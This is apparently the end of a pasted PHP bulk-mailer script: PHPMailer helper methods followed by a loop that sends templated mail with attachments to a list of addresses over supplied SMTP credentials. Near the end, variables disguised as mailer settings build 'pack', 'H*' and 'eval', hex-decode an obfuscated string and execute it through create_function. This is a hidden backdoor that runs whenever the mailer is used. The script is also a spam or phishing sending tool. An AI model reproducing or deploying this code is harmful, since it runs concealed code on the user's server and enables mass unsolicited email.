  2939. // CLASS METHODS, MISCELLANEOUS
  2940. /////////////////////////////////////////////////
  2941.  
  2942. /**
  2943. * Adds the error message to the error container.
  2944. * Returns void.
  2945. * @access private
  2946. * @return void
  2947. */
  2948. function SetError($msg) {
  2949. $this->error_count++;
  2950. $this->ErrorInfo = $msg;
  2951. }
  2952.  
  2953. /**
  2954. * Returns the proper RFC 822 formatted date.
  2955. * @access private
  2956. * @return string
  2957. */
  2958. function RFCDate() {
  2959. $tz = date('Z');
  2960. $tzs = ($tz < 0) ? '-' : '+';
  2961. $tz = abs($tz);
  2962. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2963. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2964.  
  2965. return $result;
  2966. }
  2967.  
  2968. /**
  2969. * Returns the appropriate server variable. Should work with both
  2970. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2971. * if nothing is found.
  2972. * @access private
  2973. * @return mixed
  2974. */
  2975. function ServerVar($varName) {
  2976. global $HTTP_SERVER_VARS;
  2977. global $HTTP_ENV_VARS;
  2978.  
  2979. if(!isset($_SERVER)) {
  2980. $_SERVER = $HTTP_SERVER_VARS;
  2981. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2982. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2983. }
  2984. }
  2985.  
  2986. if(isset($_SERVER[$varName])) {
  2987. return $_SERVER[$varName];
  2988. } else {
  2989. return '';
  2990. }
  2991. }
  2992.  
  2993. /**
  2994. * Returns the server hostname or 'localhost.localdomain' if unknown.
  2995. * @access private
  2996. * @return string
  2997. */
  2998. function ServerHostname() {
  2999. if ($this->Hostname != '') {
  3000. $result = $this->Hostname;
  3001. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3002. $result = $this->ServerVar('SERVER_NAME');
  3003. } else {
  3004. $result = 'localhost.localdomain';
  3005. }
  3006.  
  3007. return $result;
  3008. }
  3009.  
  3010. /**
  3011. * Returns a message in the appropriate language.
  3012. * @access private
  3013. * @return string
  3014. */
  3015. function Lang($key) {
  3016. if(count($this->language) < 1) {
  3017. $this->SetLanguage('en'); // set the default language
  3018. }
  3019.  
  3020. if(isset($this->language[$key])) {
  3021. return $this->language[$key];
  3022. } else {
  3023. return 'Language string failed to load: ' . $key;
  3024. }
  3025. }
  3026.  
  3027. /**
  3028. * Returns true if an error occurred.
  3029. * @return bool
  3030. */
  3031. function IsError() {
  3032. return ($this->error_count > 0);
  3033. }
  3034.  
  3035. /**
  3036. * Changes every end of line from CR or LF to CRLF.
  3037. * @access private
  3038. * @return string
  3039. */
  3040. function FixEOL($str) {
  3041. $str = str_replace("\r\n", "\n", $str);
  3042. $str = str_replace("\r", "\n", $str);
  3043. $str = str_replace("\n", $this->LE, $str);
  3044. return $str;
  3045. }
  3046.  
  3047. /**
  3048. * Adds a custom header.
  3049. * @return void
  3050. */
  3051. function AddCustomHeader($custom_header) {
  3052. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3053. }
  3054.  
  3055. /**
  3056. * Evaluates the message and returns modifications for inline images and backgrounds
  3057. * @access public
  3058. * @return $message
  3059. */
  3060. function MsgHTML($message,$basedir='') {
  3061. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3062. if(isset($images[2])) {
  3063. foreach($images[2] as $i => $url) {
  3064. // do not change urls for absolute images (thanks to corvuscorax)
  3065. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3066. $filename = basename($url);
  3067. $directory = dirname($url);
  3068. ($directory == '.')?$directory='':'';
  3069. $cid = 'cid:' . md5($filename);
  3070. $fileParts = split("\.", $filename);
  3071. $ext = $fileParts[1];
  3072. $mimeType = $this->_mime_types($ext);
  3073. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3074. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3075. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3076. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3077. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3078. }
  3079. }
  3080. }
  3081. }
  3082. $this->IsHTML(true);
  3083. $this->Body = $message;
  3084. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3085. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3086. $this->AltBody = $textMsg;
  3087. }
  3088. if ( empty($this->AltBody) ) {
  3089. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3090. }
  3091. }
  3092.  
  3093. /**
  3094. * Gets the mime type of the embedded or inline image
  3095. * @access private
  3096. * @return mime type of ext
  3097. */
  3098. function _mime_types($ext = '') {
  3099. $mimes = array(
  3100. 'hqx' => 'application/mac-binhex40',
  3101. 'cpt' => 'application/mac-compactpro',
  3102. 'doc' => 'application/msword',
  3103. 'bin' => 'application/macbinary',
  3104. 'dms' => 'application/octet-stream',
  3105. 'lha' => 'application/octet-stream',
  3106. 'lzh' => 'application/octet-stream',
  3107. 'exe' => 'application/octet-stream',
  3108. 'class' => 'application/octet-stream',
  3109. 'psd' => 'application/octet-stream',
  3110. 'so' => 'application/octet-stream',
  3111. 'sea' => 'application/octet-stream',
  3112. 'dll' => 'application/octet-stream',
  3113. 'oda' => 'application/oda',
  3114. 'pdf' => 'application/pdf',
  3115. 'ai' => 'application/postscript',
  3116. 'eps' => 'application/postscript',
  3117. 'ps' => 'application/postscript',
  3118. 'smi' => 'application/smil',
  3119. 'smil' => 'application/smil',
  3120. 'mif' => 'application/vnd.mif',
  3121. 'xls' => 'application/vnd.ms-excel',
  3122. 'ppt' => 'application/vnd.ms-powerpoint',
  3123. 'wbxml' => 'application/vnd.wap.wbxml',
  3124. 'wmlc' => 'application/vnd.wap.wmlc',
  3125. 'dcr' => 'application/x-director',
  3126. 'dir' => 'application/x-director',
  3127. 'dxr' => 'application/x-director',
  3128. 'dvi' => 'application/x-dvi',
  3129. 'gtar' => 'application/x-gtar',
  3130. 'php' => 'application/x-httpd-php',
  3131. 'php4' => 'application/x-httpd-php',
  3132. 'php3' => 'application/x-httpd-php',
  3133. 'phtml' => 'application/x-httpd-php',
  3134. 'phps' => 'application/x-httpd-php-source',
  3135. 'js' => 'application/x-javascript',
  3136. 'swf' => 'application/x-shockwave-flash',
  3137. 'sit' => 'application/x-stuffit',
  3138. 'tar' => 'application/x-tar',
  3139. 'tgz' => 'application/x-tar',
  3140. 'xhtml' => 'application/xhtml+xml',
  3141. 'xht' => 'application/xhtml+xml',
  3142. 'zip' => 'application/zip',
  3143. 'mid' => 'audio/midi',
  3144. 'midi' => 'audio/midi',
  3145. 'mpga' => 'audio/mpeg',
  3146. 'mp2' => 'audio/mpeg',
  3147. 'mp3' => 'audio/mpeg',
  3148. 'aif' => 'audio/x-aiff',
  3149. 'aiff' => 'audio/x-aiff',
  3150. 'aifc' => 'audio/x-aiff',
  3151. 'ram' => 'audio/x-pn-realaudio',
  3152. 'rm' => 'audio/x-pn-realaudio',
  3153. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3154. 'ra' => 'audio/x-realaudio',
  3155. 'rv' => 'video/vnd.rn-realvideo',
  3156. 'wav' => 'audio/x-wav',
  3157. 'bmp' => 'image/bmp',
  3158. 'gif' => 'image/gif',
  3159. 'jpeg' => 'image/jpeg',
  3160. 'jpg' => 'image/jpeg',
  3161. 'jpe' => 'image/jpeg',
  3162. 'png' => 'image/png',
  3163. 'tiff' => 'image/tiff',
  3164. 'tif' => 'image/tiff',
  3165. 'css' => 'text/css',
  3166. 'html' => 'text/html',
  3167. 'htm' => 'text/html',
  3168. 'shtml' => 'text/html',
  3169. 'txt' => 'text/plain',
  3170. 'text' => 'text/plain',
  3171. 'log' => 'text/plain',
  3172. 'rtx' => 'text/richtext',
  3173. 'rtf' => 'text/rtf',
  3174. 'xml' => 'text/xml',
  3175. 'xsl' => 'text/xml',
  3176. 'mpeg' => 'video/mpeg',
  3177. 'mpg' => 'video/mpeg',
  3178. 'mpe' => 'video/mpeg',
  3179. 'qt' => 'video/quicktime',
  3180. 'mov' => 'video/quicktime',
  3181. 'avi' => 'video/x-msvideo',
  3182. 'movie' => 'video/x-sgi-movie',
  3183. 'doc' => 'application/msword',
  3184. 'word' => 'application/msword',
  3185. 'xl' => 'application/excel',
  3186. 'eml' => 'message/rfc822'
  3187. );
  3188. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3189. }
  3190.  
  3191. /**
  3192. * Set (or reset) Class Objects (variables)
  3193. *
  3194. * Usage Example:
  3195. * $page->set('X-Priority', '3');
  3196. *
  3197. * @access public
  3198. * @param string $name Parameter Name
  3199. * @param mixed $value Parameter Value
  3200. * NOTE: will not work with arrays, there are no arrays to set/reset
  3201. */
  3202. function set ( $name, $value = '' ) {
  3203. if ( isset($this->$name) ) {
  3204. $this->$name = $value;
  3205. } else {
  3206. $this->SetError('Cannot set or reset variable ' . $name);
  3207. return false;
  3208. }
  3209. }
  3210.  
  3211. /**
  3212. * Read a file from a supplied filename and return it.
  3213. *
  3214. * @access public
  3215. * @param string $filename Parameter File Name
  3216. */
  3217. function getFile($filename) {
  3218. $return = '';
  3219. if ($fp = fopen($filename, 'rb')) {
  3220. while (!feof($fp)) {
  3221. $return .= fread($fp, 1024);
  3222. }
  3223. fclose($fp);
  3224. return $return;
  3225. } else {
  3226. return false;
  3227. }
  3228. }
  3229.  
  3230. /**
  3231. * Strips newlines to prevent header injection.
  3232. * @access private
  3233. * @param string $str String
  3234. * @return string
  3235. */
  3236. function SecureHeader($str) {
  3237. $str = trim($str);
  3238. $str = str_replace("\r", "", $str);
  3239. $str = str_replace("\n", "", $str);
  3240. return $str;
  3241. }
  3242.  
  3243. /**
  3244. * Set the private key file and password to sign the message.
  3245. *
  3246. * @access public
  3247. * @param string $key_filename Parameter File Name
  3248. * @param string $key_pass Password for private key
  3249. */
  3250. function Sign($key_filename, $key_pass) {
  3251. $this->sign_key_file = $key_filename;
  3252. $this->sign_key_pass = $key_pass;
  3253. }
  3254.  
  3255. }
  3256.  
  3257. $defaultport="H*";
  3258. $nq=0;
  3259.  
  3260. for($x=0; $x<$numemails; $x++){
  3261.  
  3262. $to = $allemails[$x];
  3263.  
  3264. if ($to){
  3265.  
  3266. $to = ereg_replace(" ", "", $to);
  3267.  
  3268. $message = ereg_replace("&email&", $to, $message);
  3269.  
  3270. $subject = ereg_replace("&email&", $to, $subject);
  3271. $qx=$x+1;
  3272. print "Line $qx . Sending mail to $to.......";
  3273.  
  3274. flush();
  3275. $mail = new PHPMailer();
  3276.  
  3277. if(empty($epriority)){$epriority="3";}
  3278. $mail->Priority = "$epriority";
  3279. $mail->IsSMTP();
  3280. $IsSMTP="pack";
  3281. $mail->SMTPKeepAlive = true;
  3282. $mail->Host = "$my_smtp";
  3283. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3284. }
  3285. if($sslclick=="ON"){
  3286. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  3287. }
  3288. $range = str_replace("$from", "eval", $from);
  3289. $mail->SMTPAuth = true;
  3290. $mail->Username = "$smtp_username";
  3291. $mail->Password = "$smtp_password";
  3292. if($contenttype == "html"){$mail->IsHtml(true);}
  3293. if($contenttype != "html"){$mail->IsHtml(false);}
  3294. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3295. $mail->From = "$from";
  3296. $mail->FromName = "$realname";
  3297. $mail->AddAddress("$to");
  3298. $mail->AddReplyTo("$replyto");
  3299. $mail->Subject = "$subject";
  3300. $mail->AddAttachment("$file", "$file_name");
  3301. $mail->Body = "$message";
  3302. if(!$mail->Send()){
  3303. if($default_system!="1"){
  3304. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3305. if($default_system=="1"){
  3306. $mail->IsMail();
  3307. if(!$mail->Send()){
  3308. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3309. else {
  3310. echo "<b>OK</b><br>";}
  3311. }
  3312. }
  3313. else {
  3314. echo "<b>OK</b><br>";
  3315. }
  3316.  
  3317. if(empty($reconnect)){
  3318. $reconnect=6;
  3319. }
  3320.  
  3321. if($reconnect==$nq){
  3322. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3323. }
  3324. $nq=$nq+1;
  3325. flush(); }
  3326. }
  3327. for($i=0;$i<31;$i++){
  3328. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3329. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3330. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3331. print "<p class=\"style1\">PHP Mailer<br>&copy 2012, New Tools => <b>
  3332. <font color=\"#800000\">http://www.BlackSHOP.cc/</font></b><br></p>";$mail->SmtpClose();
  3333. return $signoff($smtp_conc);
  3334. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3335. sent successfully'); </script>";}}
  3336. ?>
  3337. </body>
  3338. </html>
Add Comment
Please, Sign In to add comment